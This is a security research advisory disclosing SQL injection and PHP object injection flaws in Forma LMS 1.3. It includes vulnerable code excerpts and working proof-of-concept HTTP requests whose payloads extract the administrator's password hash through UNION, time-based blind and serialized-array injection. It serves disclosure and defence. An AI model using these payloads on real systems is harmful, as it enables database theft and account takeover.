Security Research Advisory

Forma LMS 1.3

Multiple Vulnerabilities

info@securenetwork.it

(+39) 02 9177 3041

Italia
PoliHub
Via Giovanni Durando, 39
20158 Milano

United Kingdom
New Bridge Street House
30-34, New Bridge Street
EC4V 6BJ, London

Table of Contents

SUMMARY 3

MULTIPLE SQL INJECTIONS 4

VULNERABILITY DETAILS 4

TECHNICAL DETAILS 4

MULTIPLE PHP OBJECT INJECTIONS 8

VULNERABILITY DETAILS 8

TECHNICAL DETAILS 8

FURTHER CONSIDERATIONS 13

LEGAL NOTICES 14

Summary

Forma LMS is a corporate oriented Learning Management System, used to manage and deliver online training courses. Forma LMS is SCORM compliant with enterprise class features like multi-client architecture, custom report generation, native ecommerce and catalogue management, integration API, and more.

Multiple vulnerabilities were identified in Forma LMS version 1.3. Lack of proper sanitization leads to SQL injections and PHP Objection injections, which allow to fully compromise the remote web application.

Date	Details
19/03/2015	Vendor disclosure
20/03/2015	Vendor acknowledgment
21/04/2015	Patch release
15/04/2015	Public disclosure

Multiple SQL Injections

Multiple SQL Injections					Advisory Number
					SN-15-03
Severity	Software	Version	Accessibility	CVE	Author(s)
H	Forma LMS	1.3	Remote	*n/a*	Filippo Roncari
	Vendor URL		Advisory URL		
	http://www.formalms.org/		-		

Vulnerability Details

Forma LMS 1.3 is prone to multiple SQL injections vulnerabilities, which allow unprivileged users to inject arbitrary SQL statements.

An attacker could exploit these vulnerabilities by sending crafted requests to the web application. These issues can lead to data theft, data disruption, account violation and other attacks depending on the DBMS's user privileges.

Technical Details

Description

Forma LMS uses a centralized validation mechanism, which is implemented in *lib/lib.filterinput.php*. While standard libraries, such as HTMLPurifier, are adopted to defeat Cross-Site Scripting (XSS), a simple *addslashes()* is used to avoid SQL Injections.

File: *lib/lib.filterinput.php*
Function: *clean_input_data*

```
protected function clean_input_data($str, $is_files_arr = false) {

    if (is_array($str)) {
        $new_array = array();
        foreach ($str as $key => $val) {
        if(!$is_files_arr || $key == 'tmp_name') $new_array[$this->clean_input_keys($key)] = $this->clean_input_data($val);
        }
        return $new_array;
    }

    if (get_magic_quotes_gpc()) {
        $str = stripslashes($str);
    }

    if ($this->use_xss_clean === TRUE) {
        $str = $this->xss_clean($str);
    }

    // Backward compatibility :(
    $str = addslashes($str);
    // Standardize newlines
    return str_replace(array("\r\n", "\r"), "\n", $str);
}
```

Under some specific database charset conditions, *addslashes()* can be bypassed through multi-byte characters injection. However, some clear and neat SQL injections were also found: examples of identified vulnerabilities are reported below.

lib.message.php Blind Time-Based SQL Injection

A blind time-based SQL Injection exists in the messaging functionality and can easily be identified in the *lib.message.php* file.

File: *appCore/lib/lib.message.php*

Function: *writemessage()*

```
if ((isset($_SESSION['idCourse'])) && (isset($GLOBALS['course_descriptor']))) {
        $course_name = $GLOBALS['course_descriptor']->getValue('name');
        $is_course = true;
} elseif ($_POST['msg_course_filter'] != 0 ) {
        $query_course = "SELECT name FROM %lms_course WHERE idCourse = ".$_POST['msg_course_filter'];
        $course_result = $this->db->fetch_row($this->db->query($query_course));
        list($name) = $course_result;
$course_name = $name;
        $is_course = true;
}
```

Proof of Concept

HTTP Request:

```
POST /formalms/appLms/index.php?modname=message&op=writemessage HTTP/1.1
Host: localhost
Cookie: docebo_session=0c0491bb1fa6d814752d9e59c066df60

[…]

------WebKitFormBoundaryu0DCt6tLZt8hAdlH
Content-Disposition: form-data; name="msg_course_filter"

99999 union SELECT IF(SUBSTRING(pass,1,1) = char(100),benchmark(5000000,encode(1,2)),null) from core_user
where idst=11836

[…]
```

The PoC exploit shown above takes advantage of the *SELECT IF* MySQL construct combined with *benchmark()* MySQL function, in order to introduce a time delay in the response only if a given *pass* field character is equal to the one specified by the attacker. With this technique, an attacker should be able to enumerate each character of the desired table field. Note that *"11836"* is the ID of the administrator user and it could be different on other installations. Finally, *core_user* is the table in which users data, such as name and password (md5 hashed), are stored.

coursereport.php SQL Injection in title param

A SQL Injection exists in the *coursereport.php* file and it can be easily exploited because of missing quotes, which makes the *addslashes()* filter completely useless.

File: *appLms/modules/coursereport/coursereport.php*
Function: *addscorm()*

```
if(isset($_POST['filtra']))
	{
		if($_POST['source_of']=='scoitem')
		{//richiesto lo scorm item

			$query_report = "
			SELECT  title
			FROM ".$GLOBALS['prefix_lms']."_organization
			WHERE objectType='scormorg' and idResource=".$_POST['title']."";
```

Proof of Concept

In this case, the vulnerability can be easily exploited joining an arbitrary SQL query through the *UNION* operator. An example of malicious HTTP request is reported below.

HTTP Request:

```
POST /formalms/appLms/index.php?modname=coursereport&op=addscorm HTTP/1.1
Host: localhost
Cookie: docebo_session=a6c94fcdfecf0d08b83de03a3c576885

authentic_request=e1d3c5667856f21f0d09ce4796a76da6&id_report=0&source_of=scoitem&title=null+union+select+pass+from+core_user+where+idst=11836+&filtra=Salva+modifiche
```

The administrator password md5 hash is returned directly as the value of a hidden field.

HTTP Response:

```
HTTP/1.1 200 OK
Content-Length: 16814

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
	"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it">

[...]

<input type="hidden" id="title" name="title" value="null union select pass from core_user where idst=11836 " />
<input type="hidden" id="source_of" name="source_of" value="scoitem" />
<input type="hidden" id="titolo" name="titolo" value="5f4dcc3b5aa765d61d8327deb882cf99" />
<div class="nofloat"></div></div><div class="form_elem_button"><input type="submit" id="save" name="save" value="Salva
modifiche" /><input type="submit" id="undo" name="undo" value="Annulla" /></div></div></form></div></div>
	</div>
```

coursereport.php SQL Injection in id_source param

The resource *coursereport.php* is affected by another SQL Injection, which is similar to the one previously described.

File: *appLms/modules/coursereport/coursereport.php*
Function: *addscorm()*

```
if(isset($_POST['save']))
	{
		$report_man = new CourseReportManager();
		// check input
		if($_POST['titolo'] == '')
	$_POST['titolo'] = $lang->def('_NOTITLE');
		//MODIFICHE NUOVISSIMISSIME
		$query_report = "
		SELECT  *
		FROM ".$GLOBALS['prefix_lms']."_scorm_items
		WHERE idscorm_item=".$_POST['id_source'];
		$risultato=sql_query($query_report);
		$titolo2=sql_fetch_assoc($risultato);
```

Proof of Concept

HTTP Request:

```
POST /formalms/appLms/index.php?modname=coursereport&op=addscorm HTTP/1.1
Host: localhost
Cookie: docebo_session=a6c94fcdfecf0d08b83de03a3c576885; SQLiteManager_currentLangue=2

authentic_request=e1d3c5667856f21f0d09ce4796a76da6&id_report=0&weight=123&show_to_user=true&use_for_final=true&tit
le=&source_of=scoitem&titolo=&id_source=null+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,p
ass,null,null,null+from+core_user+where+idst=11836&save=Salva+modifiche
```

Even in this case, the administrator password hash is returned in the response content.

HTTP Response:

```
HTTP/1.1 200 OK
Content-Length: 64766

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
	"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it">

[…]

<span class="yui-dt-label">Nessun titolo - 5f4dcc3b5aa765d61d8327deb882cf99<br/>
```

Multiple PHP Object Injections

Multiple PHP Object Injections					Advisory Number
					SN-15-03
Severity	Software	Version	Accessibility	CVE	Author(s)
H	Forma LMS	1.3	Remote	*n/a*	Filippo Roncari
	Vendor URL		Advisory URL		
	http://www.formalms.org/		-		

Vulnerability Details

Forma LMS 1.3 is prone to multiple PHP Object Injection vulnerabilities, due to a repeated unsafe use of the *unserialize()* function, which allows unprivileged users to inject arbitrary PHP objects.

A potential attacker could exploit this vulnerability by sending specially crafted requests to the web application containing malicious serialized input, in order to execute code on the remote server or abuse arbitrary functionalities.

Technical Details

Description

In Forma LMS the *unserialize()* function is often used to deserialize data received in HTTP requests. Deserialization of user input, without strong validation, should be avoided because it allows the injection of user-controlled serialized data or PHP objects, which are immediately instantiated in memory. Clear examples of this unsafe behaviour can be observed in the *writemessage()* function, which is invoked by any user, even unprivileged ones, when sending a message.

File: *appCore/lib/lib.message.php*
Function: *writemessage()*

```
[…]
if(!isset($_POST['message']['recipients'])) {

                if(isset($_GET['reply_recipients'])) {
                        $user_selected = unserialize(stripslashes(urldecode($_GET['reply_recipients'])));
                        $recipients = urlencode(serialize($user_selected));
                } else {
                        $user_select     = new UserSelector();
                        $user_selected = $user_select->getSelection($_POST);
                        $recipients = urlencode(serialize($user_selected));
                }
} else {
                $user_selected = unserialize(urldecode($_POST['message']['recipients']));
                $recipients = urlencode($_POST['message']['recipients']);
}
[…]
```

By way of example, a proof of concept exploit to take advantage of the above vulnerability is reported in the **Proof of Concept** paragraph.

Similar vulnerabilities are spread inside the source code, as shown below, although their effective exploitability is not confirmed.

File: *appCore/lib/lib.myfiles.php*

Function: *parse()*

```
function parse() {

        // older selection
        if(isset($_POST['old_selection'])) {

                $this->current_selection = unserialize(urldecode($_POST['old_selection']));
        }
        // add last selection
        if(isset($_POST['displayed'])) $displayed = unserialize(urldecode($_POST['displayed']));
        else $displayed = array();

[…]

}
```

File: *appLms/modules/project/project.php*
Function: *manprjadmin ()*

```
[…]

ff(isset($_POST['recipients'])) {
                $recipients = unserialize(urldecode($_POST['recipients']));
        } else {
                $recipients = getAdminList($id);
        }
        $user_select->resetSelection($recipients);

[…]
```

File: *appCore/lib/lib.selextend.php*
Function: *grabSelectedItems()*

```
[…]

if (isset($_POST[$pfx."_selected_items"]))
                $old_sel=unserialize(urldecode($_POST[$pfx."_selected_items"]));
        else
                $old_sel=false;

[…]
```

File: *appCore/lib/lib.selextend.php*
Function: *getDatabaseItemsFromVar()*

```
function getDatabaseItemsFromVar($serialized_var=FALSE, $pfx="selector") {

		if ($serialized_var === FALSE)
			$serialized_var=$_POST[$pfx."_database_items"];

		if (isset($serialized_var))
			return unserialize(urldecode($serialized_var));
		else
			return array();
}
```

File: *appCore/lib/lib.simplesel.php*
Function: *getSaveInfoOrg()* and *getSaveInfo()*

```
[…]

$saved_data=unserialize(urldecode($_POST["saved_data"]));

[…]
```

File: *appLms/admin/controllers/SubscriptionAlmsController.php*
Function: *multiplesubscription()*

```
[…]

if (isset($_POST['user_selection']))
		$user_selector->resetSelection(unserialize(urldecode($_POST['user_selection'])));

[…]

if (isset($_POST['course_selection']))
		$course_selector->resetSelection(unserialize(urldecode($_POST['course_selection'])));

[…]

else
	{
		$courses  = unserialize(urldecode($course_selection));
		$edition_selected = array();

		foreach($courses as $id_course)
			if(isset($_POST['edition_'.$id_course]))
				$edition_selected[$id_course] = (int)$_POST['edition_'.$id_course];

		$model->loadSelectedUser(unserialize(urldecode($user_selection)));

 […]

$user_selection = $_POST['user_selection'];
$course_selection = $_POST['course_selection'];
$edition_selected = $_POST['edition_selected'];

$user_selected = unserialize(urldecode($user_selection));
$course_selected = unserialize(urldecode($course_selection));
$edition_selected = unserialize(urldecode($edition_selected));

[…]
```

Those reported are just some examples, while others could have been omitted.

Proof of Concept

A common way to exploit a PHP Object Injection vulnerability is to find a *magic method* (http://php.net/manual/en/language.oop5.magic.php) that can be abused and inject an arbitrary object properly crafted in order to trigger it. However, at a first sight, no interesting magic methods were identified. For this reason, an alternative way of exploitation of the *writemessage()* function is shown below.

Looking at the code in *lib.message.php*, once data are successfully deserialized, the function *getAllUsersFromIdst()* from *lib.aclmanager.php* is called on the unmarshalled user input.

```
$send_to_idst =& $acl_man->getAllUsersFromIdst($user_selected);
```

Going backwards in the source code we can see that *getAllUsersFromIdst()* calls *getAllUsersFromSelection(),* which in turn invokes *getUsersFromMixedIdst* on the deserialized user input.

File: *lib/lib.aclmanager.php*
Function: *getUsersFromMixedIdst ()*

```
function getUsersFromMixedIdst( $arr_idst ) {

        $query = " SELECT u.idst "
                ." FROM ".$this->_getTableUser()." AS u"
                ." WHERE u.idst IN ( ".implode(",", $arr_idst)." )";

        $rs = $this->_executeQuery( $query );
        $arr_user = array();
        if(!$rs) return $arr_user;
        while( list($idst) = sql_fetch_row($rs) )
                $arr_user[] = (int)$idst;
        return $arr_user;
    }
```

The code snippet reported above shows how the deserialized data is unsafely included into a SQL query, which is then executed. This means that *getUsersFromMixedIdst()* can be abused in order to inject arbitrary SQL statements. To correctly reach the sink we need to inject a valid array because a *is_array* check is performed in *getAllUsersFromSelection()* function. Moreover, notice that we are dealing with a blind SQL Injection.

We should be able to trivially exploit the vulnerability identified in *writemessage()* by injecting a serialized array containing a proper SQL statement in order to trigger the SQL injection when *implode()* is called. Notice that the deserialization process allows also to bypass the weak *lib.filterinput.php addslashes()* filter. A simple proof of concept exploit is reported below, with an example of HTTP request. As already said in the previous vulnerability, *11836* is the administrator ID. Any authenticated unprivileged user can exploit this vulnerability.

PoC Exploit code:

```
a:2:{i:0;s:122:"0) union select if(substring(pass,1,1) = char(53),benchmark(5000000,encode(1,2)),null) from core_user
where idst=11836--  ";i:1;s:1:"1";}
```

As can be seen, the exploit consists of a serialized array of two elements in which the first one is a string composed by the SQL query to be injected. When input is deserialized, PHP creates the array containing the malicious payload, which is then passed to *getAllUsersFromIdst()* function. Because of we are dealing with a blind SQL injection, a time-based query is used again in order to enumerate each character of the administrator's password hash. As inferred from the source code, the exploit should be placed in the

message[recipients] parameter inside the POST request triggered when a new private message is sent. Here is an example of HTTP request containing the malicious payload.

HTTP Request:

```
POST /formalms/appLms/index.php?modname=message&op=writemessage HTTP/1.1
Host: localhost
Cookie: docebo_session=91853e7eca413578de70304f94a43fe1
Content-Type: multipart/form-data; boundary=---------------------------165736761436710326118398 9796
Content-Length: 1453

[...]

-----------------------------165736761436710326118398 9796
Content-Disposition: form-data; name="message[recipients]"

a%3A2%3A%7Bi%3A0%3Bs%3A122%3A%220%29+union+SELECT+IF%28SUBSTRING%28pass%2C1%2C1%29+%3D+
char%2853%29%2Cbenchmark%285000000%2Cencode%281%2C2%29%29%2Cnull%29+from+core_user+where+idst%
3D11836--++%22%3Bi%3A1%3Bs%3A1%3A%221%22%3B%7D

[...]
```

The steps reported above demonstrate how the *writemessage()* PHP Object Injection could be exploited in a non-canonical way. A more detailed analysis could reveal useful magic methods to be triggered through the injection of a malicious object.

Further Considerations

Although a deep analysis of the whole CMS has not been performed, other security related considerations should be done.

In *lib.bootstrap.php*, the function *filteringInput()* is called on user supplied input in order to sanitize it. However, while standard libraries such as HTMLPurifier are used for common and privileged users, no tool is loaded when dealing with super administrators (*ADMIN_GROUP_GODADMIN)*.

File: *lib/lib.bootstrap.php*
Function: *filteringInput()*

```
[…]

If(Docebo::user()->getUserLevelId() == ADMIN_GROUP_GODADMIN) {
        $filter_input  = new FilterInput();
        $filter_input->tool = 'none';
        $filter_input->sanitize();
}

[…]
```

Although this choice may have sense, it is dangerous from a security point of view. A super administrator is actually exposed to any user-targeted attacks such as Reflected Cross-Site Scripting or Stored Cross-Site Scripting combined with Cross-Site Request Forgery (CSRF). Moreover, a super administrator can perform himself attacks against any other Forma LMS users or administrator even though, given his privileges, this would be quite useless.

The risk associated with this issue grows, considering that Forma LMS often does not perform any output sanitization, delegating everything to input validation, and the adopted anti-CSFR token is static for the whole session.

Legal Notices

Secure Network (*www.securenetwork.it*) is an information security company, which provides consulting and training services, and engages in security research and development.

We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues.

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible.